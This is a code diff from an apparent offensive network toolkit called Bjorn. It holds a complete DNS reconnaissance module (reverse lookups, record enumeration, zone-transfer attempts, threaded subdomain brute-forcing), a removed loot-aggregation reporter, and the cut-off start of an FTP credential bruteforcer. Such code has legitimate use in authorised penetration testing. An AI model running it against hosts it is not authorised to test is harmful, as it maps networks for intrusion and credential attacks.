logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hostnames_txt = r.get("hostnames") or ""
|
||||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||||
ips_txt = r.get("ips") or ""
|
||||
if not ips_txt:
|
||||
continue
|
||||
for ip_addr in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||||
self._ip_to_identity[ip_addr] = (mac, current_hn)
|
||||
|
||||
def _mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
def _hostname_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# --------------------- Public API (Orchestrator) ---------------------
|
||||
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
"""
|
||||
Execute DNS reconnaissance on the given target.
|
||||
|
||||
Args:
|
||||
ip: Target IP address
|
||||
port: Target port (typically 53)
|
||||
row: Row dict from orchestrator (contains MAC, hostname, etc.)
|
||||
status_key: Status tracking key
|
||||
|
||||
Returns:
|
||||
'success' | 'failed' | 'interrupted'
|
||||
"""
|
||||
self.shared_data.bjorn_orch_status = "DNSPillager"
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port), "phase": "init"}
|
||||
|
||||
results = {
|
||||
"target_ip": ip,
|
||||
"port": str(port),
|
||||
"timestamp": datetime.datetime.now().isoformat(),
|
||||
"reverse_dns": None,
|
||||
"domain": None,
|
||||
"records": {},
|
||||
"zone_transfer": {},
|
||||
"subdomains": [],
|
||||
"errors": [],
|
||||
}
|
||||
|
||||
try:
|
||||
# --- Check for early exit ---
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal before start.")
|
||||
return "interrupted"
|
||||
|
||||
mac = row.get("MAC Address") or row.get("mac_address") or self._mac_for_ip(ip) or ""
|
||||
hostname = (
|
||||
row.get("Hostname") or row.get("hostname")
|
||||
or self._hostname_for_ip(ip)
|
||||
or ""
|
||||
)
|
||||
|
||||
# =========================================================
|
||||
# Phase 1: Reverse DNS lookup (0% -> 10%)
|
||||
# =========================================================
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "reverse_dns"}
|
||||
logger.info(f"[{ip}] Phase 1: Reverse DNS lookup")
|
||||
|
||||
reverse_hostname = self._reverse_dns(ip)
|
||||
if reverse_hostname:
|
||||
results["reverse_dns"] = reverse_hostname
|
||||
logger.info(f"[{ip}] Reverse DNS: {reverse_hostname}")
|
||||
self.shared_data.log_milestone(b_class, "ReverseDNS", f"IP: {ip} -> {reverse_hostname}")
|
||||
# Update hostname if we found something new
|
||||
if not hostname or hostname == ip:
|
||||
hostname = reverse_hostname
|
||||
else:
|
||||
logger.info(f"[{ip}] No reverse DNS result.")
|
||||
|
||||
self.shared_data.bjorn_progress = "10%"
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
# =========================================================
|
||||
# Phase 2: Extract domain and enumerate DNS records (10% -> 35%)
|
||||
# =========================================================
|
||||
domain = self._extract_domain(hostname)
|
||||
results["domain"] = domain
|
||||
|
||||
if domain:
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "records", "domain": domain}
|
||||
logger.info(f"[{ip}] Phase 2: DNS record enumeration for {domain}")
|
||||
self.shared_data.log_milestone(b_class, "EnumerateRecords", f"Domain: {domain}")
|
||||
|
||||
record_results = {}
|
||||
total_types = len(DNS_RECORD_TYPES)
|
||||
for idx, rtype in enumerate(DNS_RECORD_TYPES):
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
records = self._query_records(domain, rtype)
|
||||
if records:
|
||||
record_results[rtype] = records
|
||||
logger.info(f"[{ip}] {rtype} records for {domain}: {records}")
|
||||
|
||||
# Progress: 10% -> 35% across record types
|
||||
pct = 10 + int((idx + 1) / total_types * 25)
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
|
||||
results["records"] = record_results
|
||||
else:
|
||||
logger.warning(f"[{ip}] No domain could be extracted. Skipping record enumeration.")
|
||||
self.shared_data.bjorn_progress = "35%"
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
# =========================================================
|
||||
# Phase 3: Zone transfer (AXFR) attempt (35% -> 45%)
|
||||
# =========================================================
|
||||
self.shared_data.bjorn_progress = "35%"
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "zone_transfer", "domain": domain or ip}
|
||||
|
||||
if domain and _HAS_DNSPYTHON:
|
||||
logger.info(f"[{ip}] Phase 3: Zone transfer attempt for {domain}")
|
||||
nameservers = results["records"].get("NS", [])
|
||||
# Also try the target IP itself as a nameserver
|
||||
ns_targets = list(set(nameservers + [ip]))
|
||||
zone_results = {}
|
||||
|
||||
for ns_idx, ns in enumerate(ns_targets):
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
axfr_records = self._attempt_zone_transfer(domain, ns)
|
||||
if axfr_records:
|
||||
zone_results[ns] = axfr_records
|
||||
logger.success(f"[{ip}] Zone transfer SUCCESS from {ns}: {len(axfr_records)} records")
|
||||
self.shared_data.log_milestone(b_class, "AXFRSuccess", f"NS: {ns} | Records: {len(axfr_records)}")
|
||||
|
||||
# Progress within 35% -> 45%
|
||||
if ns_targets:
|
||||
pct = 35 + int((ns_idx + 1) / len(ns_targets) * 10)
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
|
||||
results["zone_transfer"] = zone_results
|
||||
else:
|
||||
if not _HAS_DNSPYTHON:
|
||||
results["errors"].append("Zone transfer skipped: dnspython not available")
|
||||
elif not domain:
|
||||
results["errors"].append("Zone transfer skipped: no domain found")
|
||||
logger.info(f"[{ip}] Skipping zone transfer (dnspython={_HAS_DNSPYTHON}, domain={domain})")
|
||||
|
||||
self.shared_data.bjorn_progress = "45%"
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
# =========================================================
|
||||
# Phase 4: Subdomain brute-force (45% -> 95%)
|
||||
# =========================================================
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "subdomains", "domain": domain or ip}
|
||||
|
||||
if domain:
|
||||
logger.info(f"[{ip}] Phase 4: Subdomain brute-force for {domain}")
|
||||
self.shared_data.log_milestone(b_class, "SubdomainEnum", f"Domain: {domain}")
|
||||
wordlist = self._load_wordlist()
|
||||
thread_count = min(10, max(1, len(wordlist)))
|
||||
|
||||
discovered = self._enumerate_subdomains(domain, wordlist, thread_count)
|
||||
results["subdomains"] = discovered
|
||||
logger.info(f"[{ip}] Subdomain enumeration found {len(discovered)} live subdomains")
|
||||
else:
|
||||
logger.info(f"[{ip}] Skipping subdomain enumeration: no domain available")
|
||||
results["errors"].append("Subdomain enumeration skipped: no domain found")
|
||||
|
||||
self.shared_data.bjorn_progress = "95%"
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
# =========================================================
|
||||
# Phase 5: Save results and update DB (95% -> 100%)
|
||||
# =========================================================
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "saving"}
|
||||
logger.info(f"[{ip}] Phase 5: Saving results")
|
||||
|
||||
# Save JSON output
|
||||
self._save_results(ip, results)
|
||||
|
||||
# Update DB hostname if reverse DNS discovered new data
|
||||
if reverse_hostname and mac:
|
||||
self._update_db_hostname(mac, ip, reverse_hostname)
|
||||
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
self.shared_data.log_milestone(b_class, "Complete", f"Records: {sum(len(v) for v in results['records'].values())} | Subdomains: {len(results['subdomains'])}")
|
||||
|
||||
# Summary comment
|
||||
record_count = sum(len(v) for v in results["records"].values())
|
||||
zone_count = sum(len(v) for v in results["zone_transfer"].values())
|
||||
sub_count = len(results["subdomains"])
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"domain": domain or "N/A",
|
||||
"records": str(record_count),
|
||||
"zones": str(zone_count),
|
||||
"subdomains": str(sub_count),
|
||||
}
|
||||
|
||||
logger.success(
|
||||
f"[{ip}] DNS Pillager complete: domain={domain}, "
|
||||
f"records={record_count}, zone_transfers={zone_count}, subdomains={sub_count}"
|
||||
)
|
||||
return "success"
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"[{ip}] DNSPillager execute failed: {e}")
|
||||
results["errors"].append(str(e))
|
||||
# Still try to save partial results
|
||||
try:
|
||||
self._save_results(ip, results)
|
||||
except Exception:
|
||||
pass
|
||||
return "failed"
|
||||
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
# --------------------- Reverse DNS ---------------------
|
||||
|
||||
def _reverse_dns(self, ip: str) -> Optional[str]:
|
||||
"""Perform reverse DNS lookup on the IP address."""
|
||||
# Try dnspython first
|
||||
if _HAS_DNSPYTHON and self._resolver:
|
||||
try:
|
||||
rev_name = dns.reversename.from_address(ip)
|
||||
answers = self._resolver.resolve(rev_name, "PTR")
|
||||
for rdata in answers:
|
||||
hostname = str(rdata).rstrip(".")
|
||||
if hostname:
|
||||
return hostname
|
||||
except Exception as e:
|
||||
logger.debug(f"dnspython reverse DNS failed for {ip}: {e}")
|
||||
|
||||
# Socket fallback
|
||||
try:
|
||||
hostname, _, _ = socket.gethostbyaddr(ip)
|
||||
if hostname and hostname != ip:
|
||||
return hostname
|
||||
except (socket.herror, socket.gaierror, OSError) as e:
|
||||
logger.debug(f"Socket reverse DNS failed for {ip}: {e}")
|
||||
|
||||
return None
|
||||
|
||||
# --------------------- Domain extraction ---------------------
|
||||
|
||||
@staticmethod
|
||||
def _extract_domain(hostname: str) -> Optional[str]:
|
||||
"""
|
||||
Extract the registerable domain from a hostname.
|
||||
e.g., 'mail.sub.example.com' -> 'example.com'
|
||||
'host1.internal.lan' -> 'internal.lan'
|
||||
'192.168.1.1' -> None
|
||||
"""
|
||||
if not hostname:
|
||||
return None
|
||||
|
||||
# Skip raw IPs
|
||||
hostname = hostname.strip().rstrip(".")
|
||||
parts = hostname.split(".")
|
||||
if len(parts) < 2:
|
||||
return None
|
||||
|
||||
# Check if it looks like an IP address
|
||||
try:
|
||||
socket.inet_aton(hostname)
|
||||
return None # It's an IP, not a hostname
|
||||
except (socket.error, OSError):
|
||||
pass
|
||||
|
||||
# For simple TLDs, take the last 2 parts
|
||||
# For compound TLDs (co.uk, com.au), take the last 3 parts
|
||||
compound_tlds = {
|
||||
"co.uk", "co.jp", "co.kr", "co.nz", "co.za", "co.in",
|
||||
"com.au", "com.br", "com.cn", "com.mx", "com.tw",
|
||||
"org.uk", "net.au", "ac.uk", "gov.uk",
|
||||
}
|
||||
if len(parts) >= 3:
|
||||
possible_compound = f"{parts[-2]}.{parts[-1]}"
|
||||
if possible_compound.lower() in compound_tlds:
|
||||
return ".".join(parts[-3:])
|
||||
|
||||
return ".".join(parts[-2:])
|
||||
|
||||
# --------------------- DNS record queries ---------------------
|
||||
|
||||
def _query_records(self, domain: str, record_type: str) -> List[str]:
|
||||
"""Query DNS records of a given type for a domain."""
|
||||
records = []
|
||||
|
||||
# Try dnspython first
|
||||
if _HAS_DNSPYTHON and self._resolver:
|
||||
try:
|
||||
answers = self._resolver.resolve(domain, record_type)
|
||||
for rdata in answers:
|
||||
value = str(rdata).rstrip(".")
|
||||
if value:
|
||||
records.append(value)
|
||||
return records
|
||||
except dns.resolver.NXDOMAIN:
|
||||
logger.debug(f"NXDOMAIN for {domain} {record_type}")
|
||||
except dns.resolver.NoAnswer:
|
||||
logger.debug(f"No answer for {domain} {record_type}")
|
||||
except dns.resolver.NoNameservers:
|
||||
logger.debug(f"No nameservers for {domain} {record_type}")
|
||||
except dns.exception.Timeout:
|
||||
logger.debug(f"Timeout querying {domain} {record_type}")
|
||||
except Exception as e:
|
||||
logger.debug(f"dnspython query failed for {domain} {record_type}: {e}")
|
||||
|
||||
# Socket fallback (limited to A records only)
|
||||
if record_type == "A" and not records:
|
||||
try:
|
||||
ips = socket.getaddrinfo(domain, None, socket.AF_INET, socket.SOCK_STREAM)
|
||||
for info in ips:
|
||||
addr = info[4][0]
|
||||
if addr and addr not in records:
|
||||
records.append(addr)
|
||||
except (socket.gaierror, OSError) as e:
|
||||
logger.debug(f"Socket fallback failed for {domain} A: {e}")
|
||||
|
||||
# Socket fallback for AAAA
|
||||
if record_type == "AAAA" and not records:
|
||||
try:
|
||||
ips = socket.getaddrinfo(domain, None, socket.AF_INET6, socket.SOCK_STREAM)
|
||||
for info in ips:
|
||||
addr = info[4][0]
|
||||
if addr and addr not in records:
|
||||
records.append(addr)
|
||||
except (socket.gaierror, OSError) as e:
|
||||
logger.debug(f"Socket fallback failed for {domain} AAAA: {e}")
|
||||
|
||||
return records
|
||||
|
||||
# --------------------- Zone transfer (AXFR) ---------------------
|
||||
|
||||
def _attempt_zone_transfer(self, domain: str, nameserver: str) -> List[Dict]:
|
||||
"""
|
||||
Attempt an AXFR zone transfer from a nameserver.
|
||||
Returns a list of record dicts on success, empty list on failure.
|
||||
"""
|
||||
if not _HAS_DNSPYTHON:
|
||||
return []
|
||||
|
||||
records = []
|
||||
# Resolve NS hostname to IP if needed
|
||||
ns_ip = self._resolve_ns_to_ip(nameserver)
|
||||
if not ns_ip:
|
||||
logger.debug(f"Cannot resolve NS {nameserver} to IP, skipping AXFR")
|
||||
return []
|
||||
|
||||
try:
|
||||
zone = dns.zone.from_xfr(
|
||||
dns.query.xfr(ns_ip, domain, timeout=10, lifetime=30)
|
||||
)
|
||||
for name, node in zone.nodes.items():
|
||||
for rdataset in node.rdatasets:
|
||||
for rdata in rdataset:
|
||||
records.append({
|
||||
"name": str(name),
|
||||
"type": dns.rdatatype.to_text(rdataset.rdtype),
|
||||
"ttl": rdataset.ttl,
|
||||
"value": str(rdata),
|
||||
})
|
||||
except dns.exception.FormError:
|
||||
logger.debug(f"AXFR refused by {nameserver} ({ns_ip}) for {domain}")
|
||||
except dns.exception.Timeout:
|
||||
logger.debug(f"AXFR timeout from {nameserver} ({ns_ip}) for {domain}")
|
||||
except ConnectionError as e:
|
||||
logger.debug(f"AXFR connection error from {nameserver}: {e}")
|
||||
except OSError as e:
|
||||
logger.debug(f"AXFR OS error from {nameserver}: {e}")
|
||||
except Exception as e:
|
||||
logger.debug(f"AXFR failed from {nameserver} ({ns_ip}) for {domain}: {e}")
|
||||
|
||||
return records
|
||||
|
||||
def _resolve_ns_to_ip(self, nameserver: str) -> Optional[str]:
|
||||
"""Resolve a nameserver hostname to an IP address."""
|
||||
ns = nameserver.strip().rstrip(".")
|
||||
|
||||
# Check if already an IP
|
||||
try:
|
||||
socket.inet_aton(ns)
|
||||
return ns
|
||||
except (socket.error, OSError):
|
||||
pass
|
||||
|
||||
# Try to resolve
|
||||
if _HAS_DNSPYTHON and self._resolver:
|
||||
try:
|
||||
answers = self._resolver.resolve(ns, "A")
|
||||
for rdata in answers:
|
||||
return str(rdata)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Socket fallback
|
||||
try:
|
||||
result = socket.getaddrinfo(ns, 53, socket.AF_INET, socket.SOCK_STREAM)
|
||||
if result:
|
||||
return result[0][4][0]
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
# --------------------- Subdomain enumeration ---------------------
|
||||
|
||||
def _load_wordlist(self) -> List[str]:
|
||||
"""Load subdomain wordlist from file or use built-in list."""
|
||||
# Check for configured wordlist path
|
||||
wordlist_path = ""
|
||||
if hasattr(self.shared_data, "config") and self.shared_data.config:
|
||||
wordlist_path = self.shared_data.config.get("dns_wordlist", "")
|
||||
|
||||
if wordlist_path and os.path.isfile(wordlist_path):
|
||||
try:
|
||||
with open(wordlist_path, "r", encoding="utf-8", errors="ignore") as f:
|
||||
words = [line.strip() for line in f if line.strip() and not line.startswith("#")]
|
||||
if words:
|
||||
logger.info(f"Loaded {len(words)} subdomains from {wordlist_path}")
|
||||
return words
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to load wordlist {wordlist_path}: {e}")
|
||||
|
||||
logger.info(f"Using built-in subdomain wordlist ({len(BUILTIN_SUBDOMAINS)} entries)")
|
||||
return list(BUILTIN_SUBDOMAINS)
|
||||
|
||||
def _enumerate_subdomains(
|
||||
self, domain: str, wordlist: List[str], thread_count: int
|
||||
) -> List[Dict]:
|
||||
"""
|
||||
Brute-force subdomain enumeration using ThreadPoolExecutor.
|
||||
Returns a list of discovered subdomain dicts.
|
||||
"""
|
||||
discovered: List[Dict] = []
|
||||
total = len(wordlist)
|
||||
if total == 0:
|
||||
return discovered
|
||||
|
||||
completed = [0] # mutable counter for thread-safe progress
|
||||
|
||||
def check_subdomain(sub: str) -> Optional[Dict]:
|
||||
"""Check if a subdomain resolves."""
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return None
|
||||
|
||||
fqdn = f"{sub}.{domain}"
|
||||
result = None
|
||||
|
||||
# Try dnspython
|
||||
if _HAS_DNSPYTHON and self._resolver:
|
||||
try:
|
||||
answers = self._resolver.resolve(fqdn, "A")
|
||||
ips = [str(rdata) for rdata in answers]
|
||||
if ips:
|
||||
result = {
|
||||
"subdomain": sub,
|
||||
"fqdn": fqdn,
|
||||
"ips": ips,
|
||||
"method": "dns",
|
||||
}
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Socket fallback
|
||||
if result is None:
|
||||
try:
|
||||
addr_info = socket.getaddrinfo(fqdn, None, socket.AF_INET, socket.SOCK_STREAM)
|
||||
ips = list(set(info[4][0] for info in addr_info))
|
||||
if ips:
|
||||
result = {
|
||||
"subdomain": sub,
|
||||
"fqdn": fqdn,
|
||||
"ips": ips,
|
||||
"method": "socket",
|
||||
}
|
||||
except (socket.gaierror, OSError):
|
||||
pass
|
||||
|
||||
# Update progress atomically
|
||||
with self._lock:
|
||||
completed[0] += 1
|
||||
# Progress: 45% -> 95% across subdomain enumeration
|
||||
pct = 45 + int((completed[0] / total) * 50)
|
||||
pct = min(pct, 95)
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
|
||||
return result
|
||||
|
||||
try:
|
||||
with ThreadPoolExecutor(max_workers=thread_count) as executor:
|
||||
futures = {
|
||||
executor.submit(check_subdomain, sub): sub for sub in wordlist
|
||||
}
|
||||
|
||||
for future in as_completed(futures):
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
# Cancel remaining futures
|
||||
for f in futures:
|
||||
f.cancel()
|
||||
logger.info("Subdomain enumeration interrupted by orchestrator.")
|
||||
break
|
||||
|
||||
try:
|
||||
result = future.result(timeout=15)
|
||||
if result:
|
||||
with self._lock:
|
||||
discovered.append(result)
|
||||
logger.info(
|
||||
f"Subdomain found: {result['fqdn']} -> {result['ips']}"
|
||||
)
|
||||
self.shared_data.comment_params = {
|
||||
"ip": domain,
|
||||
"phase": "subdomains",
|
||||
"found": str(len(discovered)),
|
||||
"last": result["fqdn"],
|
||||
}
|
||||
except Exception as e:
|
||||
logger.debug(f"Subdomain future error: {e}")
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Subdomain enumeration thread pool error: {e}")
|
||||
|
||||
return discovered
|
||||
|
||||
# --------------------- Result saving ---------------------
|
||||
|
||||
def _save_results(self, ip: str, results: Dict) -> None:
|
||||
"""Save DNS reconnaissance results to a JSON file."""
|
||||
try:
|
||||
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
||||
safe_ip = ip.replace(":", "_").replace(".", "_")
|
||||
timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
filename = f"dns_{safe_ip}_{timestamp}.json"
|
||||
filepath = os.path.join(OUTPUT_DIR, filename)
|
||||
|
||||
with open(filepath, "w", encoding="utf-8") as f:
|
||||
json.dump(results, f, indent=2, default=str)
|
||||
|
||||
logger.info(f"Results saved to {filepath}")
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to save results for {ip}: {e}")
|
||||
|
||||
# --------------------- DB hostname update ---------------------
|
||||
|
||||
def _update_db_hostname(self, mac: str, ip: str, new_hostname: str) -> None:
|
||||
"""Update the hostname in the hosts DB table if we found new DNS data."""
|
||||
if not mac or not new_hostname:
|
||||
return
|
||||
|
||||
try:
|
||||
rows = self.shared_data.db.query(
|
||||
"SELECT hostnames FROM hosts WHERE mac_address=? LIMIT 1", (mac,)
|
||||
)
|
||||
if not rows:
|
||||
return
|
||||
|
||||
existing = rows[0].get("hostnames") or ""
|
||||
existing_set = set(h.strip() for h in existing.split(";") if h.strip())
|
||||
|
||||
if new_hostname not in existing_set:
|
||||
existing_set.add(new_hostname)
|
||||
updated = ";".join(sorted(existing_set))
|
||||
self.shared_data.db.execute(
|
||||
"UPDATE hosts SET hostnames=? WHERE mac_address=?",
|
||||
(updated, mac),
|
||||
)
|
||||
logger.info(f"Updated DB hostname for MAC {mac}: added {new_hostname}")
|
||||
# Refresh our local cache
|
||||
self._refresh_ip_identity_cache()
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to update DB hostname for MAC {mac}: {e}")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# CLI mode (debug / manual execution)
|
||||
# ---------------------------------------------------------------------------
|
||||
if __name__ == "__main__":
|
||||
shared_data = SharedData()
|
||||
try:
|
||||
pillager = DNSPillager(shared_data)
|
||||
logger.info("DNS Pillager module ready (CLI mode).")
|
||||
|
||||
rows = shared_data.read_data()
|
||||
for row in rows:
|
||||
ip = row.get("IPs") or row.get("ip")
|
||||
if not ip:
|
||||
continue
|
||||
port = row.get("port") or 53
|
||||
logger.info(f"Execute DNSPillager on {ip}:{port} ...")
|
||||
status = pillager.execute(ip, str(port), row, "dns_pillager")
|
||||
|
||||
if status == "success":
|
||||
logger.success(f"DNS recon successful for {ip}:{port}.")
|
||||
elif status == "interrupted":
|
||||
logger.warning(f"DNS recon interrupted for {ip}:{port}.")
|
||||
break
|
||||
else:
|
||||
logger.failed(f"DNS recon failed for {ip}:{port}.")
|
||||
|
||||
logger.info("DNS Pillager CLI execution completed.")
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
exit(1)
|
||||
@@ -1,182 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
freya_harvest.py -- Data collection and intelligence aggregation for BJORN.
|
||||
Monitors output directories and generates consolidated reports.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import glob
|
||||
import threading
|
||||
import time
|
||||
from datetime import datetime
|
||||
|
||||
from collections import defaultdict
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="freya_harvest.py")
|
||||
|
||||
# -------------------- Action metadata --------------------
|
||||
b_class = "FreyaHarvest"
|
||||
b_module = "freya_harvest"
|
||||
b_status = "freya_harvest"
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_trigger = "on_start"
|
||||
b_parent = None
|
||||
b_action = "normal"
|
||||
b_priority = 50
|
||||
b_cooldown = 0
|
||||
b_rate_limit = None
|
||||
b_timeout = 1800
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 10 # Local file processing is stealthy
|
||||
b_risk_level = "low"
|
||||
b_enabled = 1
|
||||
b_tags = ["harvest", "report", "aggregator", "intel"]
|
||||
b_category = "recon"
|
||||
b_name = "Freya Harvest"
|
||||
b_description = "Aggregates findings from all modules into consolidated intelligence reports."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.4"
|
||||
b_icon = "FreyaHarvest.png"
|
||||
|
||||
b_args = {
|
||||
"input_dir": {
|
||||
"type": "text",
|
||||
"label": "Input Data Dir",
|
||||
"default": "data/output"
|
||||
},
|
||||
"output_dir": {
|
||||
"type": "text",
|
||||
"label": "Reports Dir",
|
||||
"default": "data/reports"
|
||||
},
|
||||
"watch": {
|
||||
"type": "checkbox",
|
||||
"label": "Continuous Watch",
|
||||
"default": True
|
||||
},
|
||||
"format": {
|
||||
"type": "select",
|
||||
"label": "Report Format",
|
||||
"choices": ["json", "md", "all"],
|
||||
"default": "all"
|
||||
}
|
||||
}
|
||||
|
||||
class FreyaHarvest:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.data = defaultdict(list)
|
||||
self.lock = threading.Lock()
|
||||
self.last_scan_time = 0
|
||||
|
||||
def _collect_data(self, input_dir):
|
||||
"""Scan directories for JSON findings."""
|
||||
categories = ['wifi', 'topology', 'webscan', 'packets', 'hashes']
|
||||
new_findings = 0
|
||||
|
||||
for cat in categories:
|
||||
cat_path = os.path.join(input_dir, cat)
|
||||
if not os.path.exists(cat_path): continue
|
||||
|
||||
for f_path in glob.glob(os.path.join(cat_path, "*.json")):
|
||||
if os.path.getmtime(f_path) > self.last_scan_time:
|
||||
try:
|
||||
with open(f_path, 'r', encoding='utf-8') as f:
|
||||
finds = json.load(f)
|
||||
with self.lock:
|
||||
self.data[cat].append(finds)
|
||||
new_findings += 1
|
||||
except Exception:
|
||||
logger.debug(f"Failed to read {f_path}")
|
||||
|
||||
if new_findings > 0:
|
||||
logger.info(f"FreyaHarvest: Collected {new_findings} new intelligence items.")
|
||||
self.shared_data.log_milestone(b_class, "DataHarvested", f"Found {new_findings} new items")
|
||||
|
||||
self.last_scan_time = time.time()
|
||||
|
||||
def _generate_report(self, output_dir, fmt):
|
||||
"""Generate consolidated findings report."""
|
||||
if not any(self.data.values()):
|
||||
return
|
||||
|
||||
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
os.makedirs(output_dir, exist_ok=True)
|
||||
|
||||
if fmt in ['json', 'all']:
|
||||
out_file = os.path.join(output_dir, f"intel_report_{ts}.json")
|
||||
with open(out_file, 'w') as f:
|
||||
json.dump(dict(self.data), f, indent=4)
|
||||
self.shared_data.log_milestone(b_class, "ReportGenerated", f"JSON: {os.path.basename(out_file)}")
|
||||
|
||||
if fmt in ['md', 'all']:
|
||||
out_file = os.path.join(output_dir, f"intel_report_{ts}.md")
|
||||
with open(out_file, 'w') as f:
|
||||
f.write(f"# Bjorn Intelligence Report - {ts}\n\n")
|
||||
for cat, items in self.data.items():
|
||||
f.write(f"## {cat.capitalize()}\n- Items: {len(items)}\n\n")
|
||||
self.shared_data.log_milestone(b_class, "ReportGenerated", f"MD: {os.path.basename(out_file)}")
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
# Reset per-run state to prevent memory accumulation
|
||||
self.data.clear()
|
||||
self.last_scan_time = 0
|
||||
|
||||
_data_dir = getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data")
|
||||
_default_input = os.path.join(_data_dir, "output")
|
||||
_default_output = os.path.join(_data_dir, "reports")
|
||||
input_dir = getattr(self.shared_data, "freya_harvest_input", _default_input)
|
||||
output_dir = getattr(self.shared_data, "freya_harvest_output", _default_output)
|
||||
watch = getattr(self.shared_data, "freya_harvest_watch", True)
|
||||
fmt = getattr(self.shared_data, "freya_harvest_format", "all")
|
||||
timeout = int(getattr(self.shared_data, "freya_harvest_timeout", 600))
|
||||
|
||||
logger.info(f"FreyaHarvest: Starting data harvest from {input_dir}")
|
||||
self.shared_data.log_milestone(b_class, "Startup", "Monitoring intelligence directories")
|
||||
# EPD live status
|
||||
self.shared_data.comment_params = {"input": os.path.basename(input_dir), "items": "0"}
|
||||
|
||||
start_time = time.time()
|
||||
try:
|
||||
while time.time() - start_time < timeout:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("FreyaHarvest: Interrupted by orchestrator.")
|
||||
return "interrupted"
|
||||
|
||||
self._collect_data(input_dir)
|
||||
self._generate_report(output_dir, fmt)
|
||||
|
||||
# Progress
|
||||
elapsed = int(time.time() - start_time)
|
||||
prog = int((elapsed / timeout) * 100)
|
||||
self.shared_data.bjorn_progress = f"{prog}%"
|
||||
# EPD live status update
|
||||
total_items = sum(len(v) for v in self.data.values())
|
||||
self.shared_data.comment_params = {"input": os.path.basename(input_dir), "items": str(total_items)}
|
||||
|
||||
if not watch:
|
||||
break
|
||||
|
||||
time.sleep(30) # Scan every 30s
|
||||
|
||||
self.shared_data.log_milestone(b_class, "Complete", "Harvesting session finished.")
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"FreyaHarvest error: {e}")
|
||||
return "failed"
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
|
||||
return "success"
|
||||
|
||||
if __name__ == "__main__":
|
||||
from init_shared import shared_data
|
||||
harvester = FreyaHarvest(shared_data)
|
||||
harvester.execute("0.0.0.0", None, {}, "freya_harvest")
|
||||
@@ -1,289 +0,0 @@
|
||||
"""ftp_bruteforce.py - Threaded FTP credential bruteforcer, results stored in DB."""
|
||||
|
||||
import os
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
from ftplib import FTP
|
||||
from queue import Queue
|
||||
from typing import List, Dict, Tuple, Optional
|
||||
|
||||
from shared import SharedData
|
||||
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="ftp_bruteforce.py", level=logging.DEBUG)
|
||||
|
||||
b_class = "FTPBruteforce"
|
||||
b_module = "ftp_bruteforce"
|
||||
b_status = "brute_force_ftp"
|
||||
b_port = 21
|
||||
b_parent = None
|
||||
